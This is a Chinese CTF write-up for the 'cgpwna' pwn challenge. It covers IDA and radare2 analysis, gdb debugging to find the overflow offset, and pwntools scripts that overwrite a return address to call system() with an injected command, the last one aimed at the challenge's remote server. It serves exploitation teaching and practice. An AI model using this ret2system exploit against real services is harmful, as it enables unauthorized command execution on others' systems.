前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >《从入门到秃头之PWN蛇皮走位》

《从入门到秃头之PWN蛇皮走位》

作者头像
辞令
发布2020-11-09 11:27:02
4660
发布2020-11-09 11:27:02
举报
文章被收录于专栏:WhITECat安全团队

本文由团队大佬咸湿小和尚总结编写

0x01 读题并下载文件

南邮pwn题:cgpwna

这道题读出的信息,有IP:182.254.217.142 PORT:10001

然后flag存放位置是在/home/pwn/flag

那么按道理就是,我们使用远程连接182.254.217.142:10001

然后执行命令

代码语言:javascript
复制
cat /home/pwn/flag

接下来问题就是怎么打了

0x02 获取文件信息

首先就是查壳并确认是32还是64位的程序:

确认是32位程序,并且没有混淆函数

0x03 分析函数

分析函数使用工具:Radare2、IDA7.0

使用IDA7.0查看程序,并获取程序详情,然后直接看使用的点

使用F5查看几个关键函数的伪代码:

1.pwnme():

2.menu():

3.message():

4. main:

然后看程序流程

可以分析出判断条件是choice为49时候程序退出,退出前会输出“bye”,否则就会跳入message()函数中

接下来用r2分析看看

代码语言:javascript
复制
->r2 cgpwna
┌─[kxh@parrot]─[~/Documents]
└──╼ $r2 cgpwna
[0x08048420]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x08048420]> afl
0x08048420    1 33           entry0
0x08048410    1 6            sym.imp.__libc_start_main
0x08048460    4 42           sym.deregister_tm_clones
0x08048490    4 55           sym.register_tm_clones
0x080484d0    3 30           entry.fini0
0x080484f0    4 45   -> 44   entry.init0
0x080486e0    1 2            sym.__libc_csu_fini
0x0804851d    1 20           sym.pwnme
0x080483f0    1 6            sym.imp.system
0x08048569    1 113          sym.message
0x080483e0    1 6            sym.imp.puts
0x080483d0    1 6            sym.imp.fgets
0x08048450    1 4            sym.__x86.get_pc_thunk.bx
0x08048531    1 56           sym.menu
0x080486e4    1 20           sym._fini
0x08048670    4 97           sym.__libc_csu_init
0x080485da    5 145          main
0x080483c0    1 6            sym.imp.setbuf
0x08048384    3 35           sym._init
0x08048400    1 6            loc.imp.__gmon_start
[0x08048420]>s main        //或者自己想要获取的函数
[0x08048420]>VV

这样可以方便在linux使用gdb调试

0x04 执行程序

可以看到,程序执行流程

分为三段输入,第一次是choice,第二次是message,第三次是name

这时候盲测,发现程序其实并未循环,而是直接bye后退出

那么就是说明,存在溢出了

溢出把我们原先输入的高地址数据给压下去了

而这时候需要直接用调试才知道程序流程怎么走

0x05 gdb调试程序

使用gdb调试程序过程中,尽量使数据变大,才可以看到栈压到哪里去了,当然,第一次的时候可以为了分析流程而选择正常数据

这里把三次输入点都记录下来,然后一个一个测:

发现第一次输入的无关紧要,虽然也可以溢出

而第二次的会影响到第三次输入的get函数数据长度n

执行:

代码语言:javascript
复制
┌─[kxh@parrot]─[~/Documents]
└──╼ $gdb cgpwna 
GNU gdb (Debian 8.3.1-1) 8.3.1
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 181 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from cgpwna...
(No debugging symbols found in cgpwna)
pwndbg> b main
Breakpoint 1 at 0x80485dd
pwndbg> r

可以看到输入的数据长度n是0x3c(就是60)

而起始地址是0x804a080

这时候直接输入60个‘a’

看到这个就知道可以输入多少个a了

一共是57个a

接下来就是继续执行看到第二个get:

n长度变化了,也就是说明第一次执行的溢出后干扰了第二次输入的长度n

然后记录一下第二次起始点0xffffd238指向地址0xf7fa1004的值

也就是说第二次输入的进入了0xf7fa1004当中

那么就是大量输入数据‘1’

这里长度是aaaa,按道理不会输入那么长:

然后继续走,看看call的点和ret的点的异常:

发现异常点在ret以后跳跃的值

而执行了这个段是在0xffffd26c

那么头绪就有了

0x06 获得offset

把记录的获取的位置,计算offset=0xffffd26c-0xffffd238=34

可见完整存放数据是低地址压向高地址

寻关键地址,首先选中pwnme()函数的起始地址:

获得地址为:0x804851d

0x07 写exp

代码语言:javascript
复制
from pwn import *

offset=0xffffd26c-0xffffd238
k=process('./cgpwna')
k.recvline('your choice:')
sleep(1)
k.sendline('1')
sleep(1)
k.recvline('you can leave some message here:')
k.sendline('a'*57)
sleep(1)
k.recvline('your name please:')
k.sendline('1'*offset+p32(0x804851d))
k.interactive()

若是程序错误或者问题

使用raw_input()

使得程序暂停,然后用gdb命令:attach pid

然后使用fin进入程序点,使用ni跟踪执行

成功进入了pwnme()函数

就是说明成功执行

0x08 进入pwnme()函数分析

接下来就是需要使用到raw_input()

然后执行python文件后,用gdb追踪pid,然后再回到执行python文件的命令中回车

代码语言:javascript
复制
from pwn import *

offset=0xffffd26c-0xffffd238
k=process('./cgpwna')
k.recvline('your choice:')
sleep(1)
k.sendline('1')
sleep(1)
k.recvline('you can leave some message here:')
k.sendline('a'*57)
sleep(1)
raw_input()                 #添加调试点
k.recvline('your name please:')
k.sendline('1'*offset+p32(0x804851d))
k.interactive()

然后回车后用fin不断执行跳跃进入源程序

进入到pwnme函数看到system函数:

查看system函数的地方怎么输出的echo hello

这里看到,system是调用了esp寄存器

而esp寄存器中的值是0xffa90054

而0xffa90054指向了地址0x8048700

0x09 推理

假如我再ret的时候直接调到system的值即0x804852A,那么esp必须指向一个地址,这个地址是执行系统函数的

这么一来exp就可以改了

我可以让传入的esp改的话是必须在不断调试下发现,竟然在输入的函数后面,而调试过程就是这样的:

然后确定位置是0xffac7c70开始,然后就是3的个数竟然是100,因此直接在后面拼接第二次输入的地方,其中用\x00就是截断执行数据

第二次输入函数的时候s的起始地址是0x804a080(前面有讲)

exp修改为:

代码语言:javascript
复制
from pwn import *

offset=0xffffd26c-0xffffd238
k=process('./cgpwna')
k.recvline('your choice:')
sleep(1)
k.sendline('1')
sleep(1)
k.recvline('you can leave some message here:')
k.sendline('ls'+'\x00'+'a'*(57-2-4))
sleep(1)
raw_input()                 #添加调试点
k.recvline('your name please:')
k.sendline('1'*offset+p32(0x804852a)+p32(0x804a080))
k.interactive()

这里如果不需要调试点可以关闭

执行结果为:

竟然直接getshell了

那么就是打远程了。

0x10 写出最终版本exp

代码语言:javascript
复制
from pwn import *

offset=0xffffd26c-0xffffd238
k=remote('182.254.217.142',10001)
k.recvline('your choice:')
sleep(1)
k.sendline('1')
sleep(1)
k.recvline('you can leave some message here:')
k.sendline('cat /home/pwn/flag'+'\x00'+'a'*(57-18-4))
sleep(1)
k.recvline('your name please:')
k.sendline('1'*offset+p32(0x804852a)+p32(0x804a080))
k.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 WhITECat安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档